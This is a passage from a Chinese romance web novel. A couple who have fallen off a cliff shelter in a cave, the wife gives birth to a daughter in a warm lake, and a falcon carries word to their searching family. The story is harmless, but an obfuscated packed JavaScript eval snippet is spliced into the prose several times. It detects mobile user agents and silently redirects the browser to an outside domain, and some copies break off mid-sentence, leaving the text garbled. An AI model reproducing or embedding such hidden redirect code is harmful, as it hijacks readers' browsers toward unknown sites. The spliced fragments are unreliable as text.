“槿妤,一个孩子也很好,我们可以将所有的宠爱都给到这个孩子。”他还记着宣槿妤说她想等到生产时自然得知是男是女的事,故而没有提及孩子性别。 他将唇贴上她,“很疼是不是?” “可我却无法替你分担这样的疼痛。”他语气里尽是懊恼,听得宣槿妤心里发软,“槿妤,我们可以相守一辈子。” “孩子就只要这一个,好不好?” 宣槿妤注意到,这个男人说话时已经没有了往日逻辑清晰的模样,显得有些跳跃。 但就是这样的心慌意乱让她的心悸动得厉害。 她听着他的话,联想到方才他说到“开了一指”时声音的颤抖,还有什么不明白的呢? 他是心疼她妊娠时遭的罪,但真正让他下定决心央求她只要这一个孩子,还是因为亲眼目睹了她临产时遭受的痛楚。 归根结底,他都是为了她。 心里像是有蜜糖源源不断地涌上来,盖过了腹中的阵痛,宣槿妤看着他的眼睛,说了声“好”。 她本也没有要生多少个孩子的执念。 何况,他向来对她千依百顺,她顺从他一次,又有何不可呢? 就像他说的,若他们只生这一个,那就将所有的爱都给这个孩子。 宣槿妤疼得深吸口气,却只摸了摸圆滚滚的肚子,心里十分期待这个孩子的出生。 她答应了。 苏琯璋松了一口气,又在她额头上贴了贴,“槿妤,谢谢你。” 她有喜欢孩子他是知道的,但她愿意为了他不再去要别的孩子,他除了感激,别无他想。 因为除了感激,愧疚、难过哪怕欢喜等等情绪,其实并不适宜出现。 “要去温水中泡泡么?”苏琯璋问。 她疼得唇都是白的,看得他心里也在疼。 宣槿妤将头抵在他胸膛,摇了摇头。 但终究还是忍不住疼,她含着泪抬起头来,抱住他的脖子,“你亲亲我。” 两情相悦的欢愉满涨着一颗心,宣槿妤说话声音清甜之余,还多了几分蜜意,娇气得很。 苏琯璋一手撑住她的腰腹,将她圈在怀中,一手捧着她的脸,吻了上去。 山中不知岁月。 唯有情意绵长。 67. 第 67 章 等到阵痛发作过后,宣槿妤趴在苏琯璋肩上,轻轻地喘着气。她方才苍白的唇瓣此时又恢复了红润,脸上的媚意让人心动不已。 方才没做完的事情还是要做的,眼下离晚膳时分也不到一个时辰了。 可不能再让宣槿妤饿着。 才交过心,又温柔缠吻了一番,此时二人心意相通,宣槿妤很容易就看出苏琯璋在踟躇什么。 “我在这里等你,你快去快回便是。”她率先开口。 苏琯璋仍是抱着她,没有动弹。 宣槿妤亲了亲他的下巴,“等我生完孩子不能见风,你也是要独自出去寻找吃食的。” 她摸了摸男人有些松动的面容,“就当提前适应。而且,”她笑起来,“你忘了,我还有神力在身呢!” 她可是十分厉害的。 上午在崖上时,且不说她一脚就将一名黑衣人踹到吐血;光说她扔柴火出去砸那些黑衣人的时候,可是一砸重伤一个,可帮了他们不少忙。 苏琯璋也想起她那时的剽悍战绩,唇边牵起笑意,“嗯,槿妤真厉害。” 见她眼里瞬间泛起亮光,整个人也灵动了起来,知她爱听,他便继续夸赞:“上午的战斗,槿妤也出了不少力,当真是巾帼不让须眉。” 这夸得好像有点过了。 宣槿妤不由得双手捂了捂脸,只觉耳朵都开始发烫起来。 但是再多的夸赞,她也是会照单全收的,尤其是来自这男人的夸赞,多难得啊! “你这嘴巴甜了不少。”她摸了摸男人的嘴唇。 苏琯璋亲了亲她置于唇上的食指,“我答应你会改的。” 但你改得也太快了点。宣槿妤心想。 她眼下还觉着没有什么实感,毕竟婆母许玉娘可是用了二十年也没将他这清冷寡言的性子改过来。 “我说错话了?”见她不说话,他轻轻牵住她的手。 宣槿妤回过神来,抱住他,在他脸上亲了一口,“没有。” “叭”的一声十分清脆,回荡在山洞中,宣槿妤愣了愣,脸慢慢红了起来。 “奖励你的,继续努力。”但她到底也没有逃避,只说话时不敢看他的眼睛。 苏琯璋将她抱紧,对着她还红润润的唇瓣,重新吻了下去。 末了,他贴着她的额头,边替她平复着呼吸,边道:“槿妤,这才是奖励。” 公狐狸。 宣槿妤脸上越发烫了,推了推他,“你赶紧走。” 再亲下去,晚膳真得挨饿了,那岂不是要打他的脸么?他午后才说不会饿着她的。 苏琯璋也晓得不宜再耽搁下去,将宣槿妤抱坐在石台上,起身活动着被她压得有些发麻的双腿,“若是有危险,记得大声叫我。” 他摸了摸她的脸,“我会听见的。” 苏琯璋果真速战速决。 好似还不到一刻钟,他就回来了。 听到外面苏琯璋在唤她的名字,随即有重物在地上拖曳的声音响起,宣槿妤撑着石台,慢吞吞地穿好了鞋,捧着肚子走了出去。 “还出去吗?”她问,上下扫视他一圈。 他好像身上也没被蹭脏,不过也可能是玄青色的薄袄耐脏,看不出来。 宣槿妤漫不经心地想着,盯着他挽起袖子后露出来的双臂看。 苏琯璋打量了一番她的面色,见没什么异样,放下心来,“竹子都砍好了,不用再出去。” 他用什么砍的?午后那会儿不是还用脚踹的? 想着,她也就问了出来。 苏琯璋将手中的竹片拿给她看,“用这个,灌注内力后,锋利程度也不输刀剑。” 这下,宣槿妤也和她三哥哥一样,觉得他这内力十分好用了。 往常见他轻易烘干衣裳和头发,和方才见他掌心一扫就烘干石台,她还没什么感觉。 只如今见他用一薄薄的竹片当刀剑来用,便觉着这样有些过于厉害了。 宣槿妤想,或许我心里还是更向往这种比较直观的武力的,嗳,以前不该骂他粗莽武夫的。 不过,眼下还有一桩更要紧的事,其他的念头都要暂时抛之脑后。 “夫君,你在崖上,有受伤么?”宣槿妤有些不安地问,她到此时才想起这样一件十分重要的事来。 她这个妻子做得,好像也不怎么合格。 到这崖底时,她只顾着自己看到的刀锋划过他喉咙那一幕了,竟忘了在她看不到的时候,他身上可能还有旁的伤势。 她这时候也想起了,他当时被淹没在黑衣人群中的那个画面来。 苏琯璋见她双眼只顾盯着自己的双手看,便随手将竹片扔到一旁,将手臂展开递给她看,“没有受伤。”他说。 他手上沾了灰,不好去碰她,便俯身用脸去蹭她额头,“身上也没有受伤,别胡思乱想。” 说着他笑起来,手臂曲起揽住她,“我方才脱得只剩下一件中衣,你还没看清楚么?” 宣槿妤也想起这茬来,摸了摸肚子。 一孕傻三年,她莫不是已经开始傻了罢?她有些不确定地想着。 但很快,她被他身上炽热的温度灼烫,推开了他。 再回想他方才话里对自己的逗弄,宣槿妤软绵绵地瞪了他一眼。 登徒子。 “你该干活儿了。”她嗔道。 苏琯璋只逗了她这一下,见她害羞,懂得适可而止,很快退开两步距离,继续他手上的活计去了。 “要先坐会儿么?”他开始做活儿,先这样问宣槿妤。 宣槿妤摇摇头,她已经坐够了,眼下想先站会儿。“我若站累了会回石台上坐着的。”她说。 于是苏琯璋便先处理他带回来的竹子。 宣槿妤也不知道他砍了多少棵竹子,就光见他从身后的洞口外不断地往里抽,一节又一节、一棵又一棵的竹子被他拖进洞里,好似源源不断。 竹筒被他从稍上方的位置剖开,只用竹片一划,整个竹筒便被分成了大小不均的两半。 苏琯璋将大的一半拿在手里,小心地削掉中间的竹节,如此便得了一个连通的大竹筒。 这又和午后那会儿做的那些竹筒在形状上有些不大一样。 午后那批竹筒可以稳稳地竖立起来,装些汤汤水水是没有问题的,且还能当饭碗来用。而现在这批,显然立不起来,只能横卧着放。 宣槿妤猜测着,这是要当小巧的炒锅用的? 她如此想,但也没出声,安安静静地看着苏琯璋将两批竹筒堆在一起,那数量,甚是可观。 竹子全都被苏琯璋做成竹筒了,他显然没有做竹椅的意思,因为担心宣槿妤坐着不安全。 这会儿他已经将方才两人一起去竹林时带回来的大石头洗干净烘干,还铺了同样洗干净烘干的竹叶,让宣槿妤坐着继续看他做活儿。 大石头他又带回了两块,已经够用了。 石板、大石头、和一堆竹筒都被他带到山泉边上,清洗干净。两块大石头并行放着,中间留出生火的地方,这便是简易的大型炉灶了。 几块石板依次铺上去,中间的两块还各都凿出了一个浅坑,这样他们的炉灶就可以同时烹煮不同的食物。 苏琯璋将一个三联竹筒放在石板上那个他刚凿出来的浅坑中,刚好能够卡住圆滑的竹筒底部。 炉灶和简易的“锅”都有了,苏琯璋和宣槿妤交代了一声,又出去了一趟,这次比方才回来得更快。 他是运轻功飞回来的,宣槿妤已经知道他动作这么快的缘由了。 苏琯璋带回了许多小鱼,用一片很大的树叶包着;还有一些野菜,和一块微微发红的石头。 “这是岩盐。”见宣槿妤盯着那石头看,苏琯璋解释道:“有时候行军没有盐,便会找岩盐替代。” 宣槿妤再次见识到他强大的野外生存能力,然后她也很快想起午后的那餐饭来。 “方才我们吃的烤鸡里也抹了岩盐?”她问。 那只烤鸡是有咸味的,调味、火候都掌控到恰到好处。 苏琯璋应了声“是”,手上的动作一直未停,很快将洗干净的小鱼放在那卡在石板浅坑的三联竹筒上,加了水,盖上先前被削掉的竹片。 宣槿妤这才看到他原来还带回了一些柴火。 柴火被堆放在两个大石头中间,很快火就生了起来。 做完这些,苏琯璋才停下手中的动作,有些歉疚地对宣槿妤说:“槿妤,条件简陋,委屈你了。” 宣槿妤摸了摸肚子,“还能喝到鱼汤就已经很不错了。”她也不是真的那么娇气的,至少流放这大半年,她也过来了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15946430|174460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 且经过坠崖一事,她才晓得,一家人在一起,比什么都重要。 什么外在事务,都是次要的,彼此之间互相扶持,才是最要紧的。 可惜流放这一路,她被护得太好,没能参透。 不过,折腾了他一路,她虽说心里没好受上多少,可至少,这块木头也渐渐开窍了。 这也算是件好事。 她对他浅浅一笑。 半夜时分,宣槿妤被肚子一阵一阵的强烈收缩痛醒。 苏琯璋几乎是在她睁眼的同时被惊醒的,下意识就伸手往她身下一摸,很快将她抱起来,“别怕,是孩子要出来了。” 羊水已经破了,宣槿妤的贴身下裳湿了一点,但幸好襦裙和她底下铺着的外袍还没湿。 苏琯璋快速给宣槿妤裹上她的薄袄和披风,自己只着一件中衣,手上搭了件薄袄就抱着她出了洞口。 宣槿妤疼得满头大汗,眼泪止不住地往下掉。 借着微弱的月光,苏琯璋看清了她的模样,心里一紧而后又是阵阵抽痛。 “槿妤,痛就别忍着,可以咬我。”他亲了亲她汗涔涔的额头。 此时苏琯璋已经将二人的外裳挂好,抱着宣槿妤下了那温水湖。 夜间的温水湖温度竟比白日时还稍微高了一点点,泡在里面也更为舒适了。 湖水温柔地在二人全然浸在水中的下身慢慢冲刷着,逐渐缓解了那股让人痛不欲生的疼痛。 宣槿妤慢慢松开咬着苏琯璋肩膀的嘴,有些脱力地将头靠在他身上,不过方才无意识地蜷缩起来的身子已经在湖水的安抚下全然放松下来。 苏琯璋方才已经将她的下裳脱下挂在树上,此时便更方便他伸手去探。 不多时,他眉眼沉沉地收回了手。 她疼得这样厉害,竟还只是开了三指。 太慢了。 感受着她拂过自己脖子的温热呼吸,和眼睛无意识擦过时他肩膀上的湿润,他险些控制不住自己的情绪。 他深吸了口气,想要逼着自己冷静下来,却只是徒劳。 苏琯璋终究还是忍不住将她抱紧。 “没事的,槿妤,别怕。”他捧着她煞白的小脸,“别怕,我不会让你们出事的。”他几乎是喃喃自语。 他捧着她脸颊的手都在抖;眼中一贯的淡然早已不见,此时更像是一汪深不见底的寒潭,眼睫颤动着,潭水破碎得厉害。 好像是他更怕一点吧! 宣槿妤午后才问过他是不是都不会担心慌张的,他当时是怎么回答的?这么快就自己打自己的脸了? 不过,她却深深眷恋着这样会担心会害怕的苏琯璋。 这样的他,比他之前那副好似天塌下来眉头都不会动一下的,永远清淡冷静的模样更让她动容。 宣槿妤抬手摸了摸他的眉毛,“你也别害怕。” 借着湖水的浮力,她踩在他脚上,抱住他的脖子,亲了亲他的唇,“我和孩子都不会有事的,对不对?” 照进湖中的月光潋滟无双,映着她认真的清艳眉眼,苏琯璋一颗心便奇迹般地安定下来。 “你和孩子都不会有事的,我保证。”他倾身吻她,轻柔而缠绵。 这一夜过得分外漫长,可夫妻二人心里皆是憧憬。 他们谈着快要出生的孩子,谈着他们一家三口的以后,谈着孩子的名字和小名儿。 晨光熹微,山间雾气腾腾。 抬眼望去,只觉整座山皆被浓雾包裹起来,云层缭绕,美如仙境。 两人却无心欣赏。 强烈的痛楚袭来,挣扎了一夜的宣槿妤呼吸一乱;但很快她便觉得身下一松,好似有什么东西离开了自己的身体,脑子一时有些发懵。 她软绵绵地倒在苏琯璋身上,眼角余光瞥见苏琯璋一手扶着她,一手飞快地从水里捞出一个什么东西来。 她还未反应过来那是什么,便听到苏琯璋的声音。 “槿妤,你看,这是我们的女儿。”苏琯璋将孩子托在扶着宣槿妤的那只手上,另一只手拍打着孩子的脚心。 宣槿妤快要阖上的双眼又睁了开来。 女儿。 她的孩子出生了。 这会是他们夫妻这辈子唯一的孩子。 心里的满足后知后觉席上心头,她也当娘亲了。 68. 第 68 章 “她好小。” 宣槿妤下意识地对那小小的红通通皱巴巴的孩子露出一个笑,继而有些慌,“她怎么不哭啊?” 她嫁给苏琯璋之前,她在宣家的哥哥们中除了三哥哥,其余的都已经有了孩子。 嫁给苏琯璋之后,她还见证了苏玉慕的出生。 是以,她是知道刚出生的孩子都不怎么好看的。但是,她也记得,刚出生的孩子是要哭的,不然就会有夭折的危险。 苏琯璋拍打着孩子脚心的力度加了些许。 “哇呜呜。”孩子终于察觉到痛,张着小嘴巴委屈地哭了起来。 夫妻俩松了口气。 宣槿妤眼睛热热的,想哭。这是她的女儿,是她怀胎九月的女儿,是她和苏琯璋的骨血。 她这辈子,就只会有她这么一个孩子了。 难言的感动席上心头,宣槿妤双眼不知不觉便盈聚了一层水意。 “槿妤,别哭。”苏琯璋忙道,不大熟练地边哄着孩子,边担心地观察着她的情况。 他甚至腾不出手来替她把脉。 宣槿妤本来眼泪都要流下来了,见他这样一副手忙脚乱的模样,“噗嗤”一声又笑了起来。 笑了就好。 苏琯璋低头亲了亲她汗湿的额头。 他随身带着的那柄匕首在昨日晚膳时已经被他在火上烤过,他取出来小心翼翼地将脐带切断, 而后便单手飞快地脱下自己的中衣,将孩子牢牢地包了起来。 当然,他还得扶着已经全然脱力的宣槿妤,单手包得自然也不大好,还是宣槿妤撑着给他将中衣拉好。 不过,这已经足够了。 察觉到有如在娘胎般的包裹感,小小的婴孩顿时安心下来,努努嘴,慢慢安静下来。 “她睡着了。”苏琯璋轻声道。 他此时拥着母女二人,眼圈已经开始红了。 有水珠砸到宣槿妤手上,她吃力地抬头看了一眼,见是他的眼泪,却抿着唇笑了起来。 苏琯璋俯首用脸紧贴着去摩挲她的脸颊,含笑亲了她一口。他的妻子,每次见他出糗都还挺开心的。 他都将眼泪蹭到自己脸上来了! 宣槿妤想躲,但身子实在没力气,头也被他卡在他肩膀和他脸颊之间,动都动不了。 只好任他亲完,而后再用他的脸将自己脸上的汗水和他的泪痕都擦干。 “苏琯璋,你是故意的。”宣槿妤瞪他,眉头已经蹙了起来,十分嫌弃他方才的行为。 哪有将自己的脸当帕子来用的?哪怕擦的是她自己的脸。 这也太糙了些。 他平日里举手投足间的那些如文人般的矜贵优雅去哪里了? 苏琯璋低低地笑出声,“嗯。槿妤,我是故意的。” 宣槿妤有些气,转头在他锁骨上咬了一口。 刚生完,她身上的力气还没恢复,这一口的力道软绵绵的。 苏琯璋眉目温和,落在她身上的目光十分缱绻。 有风拂过,暖融融的。 苏琯璋的中衣已经裹在孩子身上,身上没有遮挡,只还散发着温热的体息。 湖水也是温热的。 被这样的暖意包裹着,宣槿妤昏昏欲睡。 苏琯璋低头轻轻咬着她的耳朵,“槿妤,别睡。” 胞衣还未娩下,她不能睡。 见宣槿妤没有反应,苏琯璋狠了狠心,齿间用了点力,还磨了磨。 宣槿妤被细微的刺痛扰到,睁开眼睛,有些难以置信地看着他,“你咬我?” 其实也没有多疼,还比不上蚊虫叮咬来得痛。 但她被他捧在掌心惯了,此时被他这样对待,心里便莫名涌起一股难以言喻的委屈来。 说话的当口,她眼里已经凝聚了一层雾气。 苏琯璋低头和她对视,认真地道着歉,“抱歉,槿妤,我弄痛你了是不是?” 他亲了亲她水蒙蒙的眼睛,“难受了就咬我。只别哭,也别睡,好不好?” 宣槿妤被他温柔的眼神和语气弄得心里发软,那股委屈也很快散了大半。 且这么一闹,她的那些睡意很快也消散得差不多了。 只她还惦记着他莫名其妙咬她的事,“你还没说,为什么要咬我。”她偏头,咬着他锁骨不放,眼睛还睨着他,大有他不回答她就不松口的架势。 苏琯璋被她这样可爱的反应逗笑,忍不住低头亲了亲她,“只是担心你睡着,不是故意咬你的。” 好罢! 宣槿妤松了口。 身子累极,但他又不给她睡。 宣槿妤又瞪了他一眼,偏头去看她刚生下来的女儿,小心翼翼地摸了摸她嫩滑的小脸儿。 “我们这样说话,不会吵到她吗?”她小声地问。 苏琯璋又挨了一记眼风,已经很习惯了,闻言回道:“不会,我们正常说话就好。” 宣槿妤越看女儿,心里就越欢喜,身子的疲累好像也察觉不到了。 她真的好乖,安安静静地待在父亲怀里熟睡着。宣槿妤担心地将手放在她鼻下,感受到她温热的呼吸才安心下来。 “我想抱抱她。” 苏琯璋没有答应,“你身子还虚弱。” 好罢,宣槿妤也只是临时起意,不是非要抱到女儿不可。 她自己都还是靠着这男人臂力和身体的支撑才得以在这湖中站稳,他若是答应了,她怕是还要担心自己将女儿摔着了。 说了一会儿话,身子的疲惫再次袭来。 宣槿妤想阖上眼睛。 “槿妤,真的不能睡。”苏琯璋贴着她的脸,慢慢地亲着,弄得她痒痒的。像是微风不歇,也似柳絮拂面。 “槿妤,再坚持一会儿,嗯?” 在这湖里,他还得顾着怀里的孩子,只单手没办法如以前那般方便、时时照料着她的身子。 若是产后大出血,一般会在这一个时辰里发生,他须得让她保持清醒,才好观察。 想到这里,苏琯璋的眉眼淡了下来。 宣槿妤没有察觉到他的神情变化,只被他蹭着、亲着脸颊,再也没办法阖眼。 “还要在湖里待多久?”她问,声音里都是委屈。 苏琯璋让她继续看手里的孩子,“再等等。” “我都要泡皱了。”宣槿妤软绵绵地抱怨道。 他们在这湖里泡了大半夜,肌肤定然皱巴巴的了。想着,她眉头也皱了起来。 只视线落在他怀里的孩子身上,眉头又不知不觉松展,脸上也有了笑。 早起的鸟儿方才还鸣得正欢,此时已经不叫了,只能看见它们在枝头跳跃着,十分雀跃。 第一缕阳光穿透云雾照进山里,湖里波光潋滟,整座山也慢慢苏醒过来。 宣槿妤没有内力武功,也能察觉到附近草丛树林间窸窸窣窣的动静声。 才散下去的睡意再次袭来。 宣槿妤撑不住再次阖上眼皮,忽然听到苏琯璋在她耳边说道:“岚,就叫岚姐儿如何?” 这是给女儿起的名字? 她又迅速睁开眼睛,抬眼去看他。 苏琯璋含着笑亲了亲她的眼睛,“先别睡。女儿大名‘苏玉岚’,这个名字好不好?” 岚,山间雾气。 宣槿妤品着这个名字,想起云雾环绕下女儿的第一声啼哭。 “好。”她笑起来,小心地伸手摸了摸女儿的小脸儿,“就叫岚姐儿。” 昨夜他们谈着未出生孩子的名字,并没有这个字。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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身下还是疼得厉害,她却浅浅地勾起了唇。 苏琯璋将宣槿妤小心地扶着躺在他整理好的床上,替她盖上她的薄袄——她才生完,要盖更厚实的衣裳。 “冷吗?披风要不要也盖上?”他摸了摸她因失血而有些发白的脸颊。 宣槿妤摇摇头,“这样就可以了。” 这崖底本就不冷,盖上薄袄她已经足够暖和了。 苏琯璋俯身亲了亲她没什么血色的唇,再将孩子抱过来,将裹着女儿的中衣替换成他的薄袄。 他穿好中衣,蹲在石床前问她:“还疼不疼?” 宣槿妤摸了摸孩子毛绒绒的胎发,心里的欢喜简直要溢出来。 她正要回答,便听得最外面的小山洞口有什么大型鸟类扇动翅膀的声音传来。 苏琯璋脸色一变,才警觉地将母女俩护在身后,那声音已经到了这处大山洞。 熟悉的白隼叫声传入耳中。 “是那只玉爪,它来找我们了。”宣槿妤欣喜道,不忘压低声音,生怕吵到熟睡的女儿。 她方才摸着女儿软软的毛绒绒的小脑袋,有一瞬间想起了那只玉爪。 却不想它竟在此时找到这里来。 巧合得让人难以置信,却又难掩兴奋。 白隼已经掠到他们二人面前,歪着头看着被熟悉的气息包裹住的小小人类婴孩,像是在打量着她。 身为凶禽,地上那一团散发着淡淡血腥气的东西却没能引起它半点注意。 “她是我刚生的女儿。”宣槿妤对着白隼露出个温和的笑容,偏头回看婴儿的眼神柔和得要滴出水来。 白隼竟可以找到这崖底来……苏琯璋若有所思。 “你是不是可以找到崖上的人?”他忽然问,想起不久前这只玉爪给他们带了一只山羊的事来。 69. 第 69 章 宣槿妤眼神一亮。 苏琯璋已经撕下中衣一角,咬破食指在上边写了“母女平安”几个大字;又在反面写了几行小字,简单说了他们目前的情况,再让他们将给宣槿妤和孩子准备的东西交给玉爪带下崖底给他。 玉爪衔着透着艳色的中衣碎布飞走后,宣槿妤抬头看他,“上面的人会收到消息吗?” 苏琯璋颔首,“会的。” 宣槿妤安下心来,眼皮又开始沉重起来,只坚持着将话说完。“我们掉下崖,他们定是很担心。” 尤其祖母年纪那么大了,真担心她受到的刺激太大,影响身子。 苏琯璋坐在她身侧,俯身在她唇上吻了吻,“没事的,玉爪会将消息带给他们。” 见宣槿妤又睁开眼睛,他轻轻拍了拍她,低声道:“睡罢,我守着你。” 孩子已经安稳地睡在石床上,他也能够腾出手来,安心地守在她身边了。 低沉清冽的声音十分催眠,宣槿妤才阖上眼,很快呼吸便变得均匀起来。 她累坏了。 一个时辰后,苏琯璋停下一直探脉的动作,再次小心地掀开她的披风,往她身下看了一眼。 没有大出血。 他终于放下心来。 宣槿妤和孩子都睡得很熟,苏琯璋想了想,走到小山洞那处取了两个他昨日做好的三联竹筒,放到宣槿妤身侧。 这样,她只要一动,竹筒就会滚落在地,听闻动静的他就能及时返身。 做好这些,他拿起方才被包在宣槿妤比甲内的胞衣,回头再确定母女二人睡得正好后,便疾步走出了山洞。 山洞外有一株桃树,像是才长出来没多久。 苏琯璋很快挖好一个坑,将女儿的胞衣埋在树下。 他站起身来时,还觉着有些歉疚,女儿生在这崖底下,胞衣也只能埋在这里。 他回填好泥土,摸了摸桃树的幼苗,清冷的眉眼不觉便温和下来。 大盛朝有习俗,孩子的胞衣埋在树下,他/她便会和这树一般,茁壮成长,健康无忧。 他亲手给女儿送出了这份祝福。 夫妻俩还沉浸在女儿出生的喜悦中,期盼着白隼玉爪将三人平安的消息传出去。 而另一头的崖底下,却弥漫着一股紧张、悲伤、期待等种种复杂情绪杂揉的气息。 昨日战罢,苏家人和着宣文晟昨日带人到这里搜寻了大半日。 夜里气温骤降,女眷和孩子们又累又冷,都有些撑不住,男人们要顾着他们的身子;且这夜间连个栖息的山洞都找不到的崖底实在危险重重。 若非如此,他们哪怕不眠不休,也要在这崖底找上一夜。 昨日夜里,他们住进了宣文晟的商队在淮招县买下的那处宅子。 若是宣槿妤苏琯璋没有出事,他们该兴致勃勃地各处参观;尤其已经给宣槿妤布置好的产房,定要再检查一番,好布置得尽善尽美。 可惜,昨夜无人有那等参观的心情,草草地就都睡下了。只想着尽快恢复体力,好天一亮就早点起身继续去寻人。 不过天还不亮,苏老夫人就起了身。 她昨夜被长子强制压着睡下了,但睡得很是不安稳,梦里都是她的幼孙、幼孙媳妇和那未出生的重孙或重孙女儿。 她这一起,连带着夜里都睡不安稳的众人都起了身,被苏声和苏琯煜盯着,一个个食不知味地用完了早膳。 此时他们已经在这崖底又找了大半个时辰。 加上昨日,理论上宣槿妤和苏琯璋二人坠崖时会掉落的这一方崖底他们几乎都要搜遍了,却仍是不见他们的身影。 宣文晟情绪已经临近奔溃边缘,只剩下一丝理智在强撑着,如今也已经摇摇欲坠。 他跟着一行人走了大半年的流放之路,只是为了妹妹宣槿妤的安全,让她这一路过得稍微舒服一些。 但他平日里眼睁睁看着她因为妊娠反应各种难受,碍于男女大防也没办法做些什么。 妹夫苏琯璋做得很好,他就只需要负责和她说说笑笑,指挥商队到临近的城镇或集市采买他们所需的各种东西。 他自认不是一个十分周到体贴的兄长,但他期待可以当一名好舅舅,他会对妹妹的孩子比对自己的孩子还要好。 但是,宣槿妤掉下悬崖了,连带着那个还未出世的孩子一起。 宣文晟是眼睁睁看着她掉下去的,然后再亲眼见苏琯璋也一起跳了下去。 他却什么也做不了。 没有哪一刻,宣文晟会像现在这样觉得自己是个不折不扣的废物。 他不会武功,被侍卫牢牢护在身后。之前狼袭时他还能安慰宣槿妤,说有人保护就行了。 但他意识到,不是有人保护就够了的。若他足够强大,龙椅上那位就不会逼得外祖父交出金腰带,只为护住苏家人性命。 若他足够强大,龙椅上那位就不会毫无顾忌,自以为帝位已经稳固,天下随他折腾。忠臣良将,他想杀就杀,想流放就流放。世家之女、臣子之妻,他想夺就夺。 宣文晟捂着双眼哭得上气不接下气,只手臂牢牢被清风抓着,才没有栽倒在地。 苏老夫人捂着胸口,眼圈通红,只死死忍着不敢哭出声来。 她年纪这样大,一旦情绪奔溃,她若不是中风,或许就是暴毙。 她还要活着。 槿妤那孩子运气这样好,定会没事的;她看到了,璋小子跳下去的时候已经抱住她了,他也定然会没事的。 从这样高的悬崖上掉下去,她根本不敢去想宣槿妤腹中那个快要出生的孩子会如何。 苏老夫人死死抓着长媳许玉娘的手,看得出她的情绪也接近溃散边缘,便哑声开口,“玉娘,他们福大命大,会没事的。” 苏声红着眼圈走过来,搀扶住母亲,“娘,我们在这里找就好,您回去等消息。” 苏老夫人摇摇头,固执地一步一步往前搜寻,“我要在这里,要亲眼见到他们安好。我不会走的,我不走。” 说到最后,她近乎是喃喃自语。 苏二婶偏过头,无声地落下一串眼泪。 彤姐儿将头埋进娘亲许萱娘怀里,隐忍着不敢哭出声来,只泪水沾湿了许萱娘的衣裳。 雯姐儿呆呆的,还没从昨日的刺激中走出来,哪怕常湄言和苏琯文安慰了她一整夜。 小婶婶是为了救她才掉下去的。 虽然年纪还小,但经过这大半年的日日跋涉,她已经懂得了很多同龄人根本不懂的道理。 常湄言看着近乎痴呆的女儿,将她抱入怀中,紧紧抿着唇,眼泪一串串往下掉,却不敢发出半点声音。 所有人的情绪都绷得紧紧的,像是一根被拉伸到极致的琴弦,随时都可能崩断。 只有陈阳、王虎等人才勉保持了一点冷静。 苏家、宣家和林家的暗卫此前都现身一起对敌了,这时也没有再隐于暗处,而是一起帮着找人。 苏声、苏琯煜这两个人是情绪最稳定的,指挥着侍卫们和暗卫们,有条不紊地分区搜寻着崖底,还遣了人去周遭可能住着的人家去打探消息。 这样的流程,他们昨日已经做过一遍了,今日只是再重复一次而已。 若不看他们通红的眼圈,只听他们如此冷静的吩咐声,定然会以为他们对苏琯璋和宣槿妤的生死无动于衷。 苏琯文和苏琯武无声地流了一会儿泪,很快狠狠地用袖子擦了一把眼睛。 苏琯武对双生兄长说:“我相信他们会没事的。” 苏琯文看了一眼弟弟,重重地点了下头。 二人收拾好情绪,很快加入到搜寻的队伍中,分别带了一队人去了别的区域找人去了。 …… “主子,山南面都找完了,没有发现。” “主子,山北面都找完了,没有发现。” …… 所有活下来的暗卫和侍卫加起来足有两三百人,一起搜寻着落崖二人的踪迹。但一队队人回来汇报,却如昨日一样,没有一个好消息。 苏老夫人听得一颗心直往下坠,身子禁不住摇晃了下,脚步随着也是一个踉跄。 许玉娘仍然沉浸在悲痛中,有些反应不过来,幸好一旁的苏二婶慌忙中将婆母抱住了。 苏声见状,再次走了过来,强制压着母亲、妻子和弟妹到了孩子们那里。 担心她们多想,苏声看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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仿佛脑子被冻住,她什么也想不出来,慌慌张张地只知道不能给这样小的孩子带去一生的阴影。 “哇啊啊啊。”被启哥儿抱着的慕哥儿见小堂姐和伯祖母哭得伤心,自己也忍不住哭了起来。 他这一哭,仿佛开启了什么机关,女眷们和孩子们很快哭成一团。加上一个哭得眼睛都已经红肿的宣文晟,场面瞬间便变得十分混乱。 翅膀拍打声从他们头顶掠落的时候都不由得一顿,听着好似有些犹豫的样子,只这声音到底被大大小小的哭声掩盖了。 苏家人哭得可怜,宣文晟哭得凄惨。 一群才从生死线上闯下来的汉子们听着也忍不住红了眼。 白隼踌躇着,到底落在了附近的马车车厢顶上,这是它最熟悉的地方。 它才停下,哭声却越来越大,惊得它立马飞了起来,但爪子里还抓着的艳色白布让它重新停了下来。 它飞到情绪尚算稳定的苏声面前,拍了拍翅膀。 凶禽翅膀扇起的风带着一丝若隐若现的血腥气,苏声才从险些崩溃的情绪中回过神来。 这是…… 他一眼就认出这只玉爪。 白隼歪着头看他,极通人性地将爪子里的染血白布扔给他。 苏声忙接过来,还未展开已经认出了熟悉的字迹,是苏琯璋的。 他忙打开,入目就是“母女平安”四个大字。 苏声的大脑顿时一片空白。 不知是否意识到了面前这人已经靠不住,颇有灵性的白隼又飞到苏琯煜头顶,在他下意识想要反制可能的袭击时落到他肩上。 它叫了一声。 熟悉的叫声唤起了苏琯煜的记忆,偏头一看,“是你。” 只看到熟悉的白隼,昔日和它最亲密的两个人却生死未明,苏琯煜哽咽着问它,“你是来找小弟妹的?” 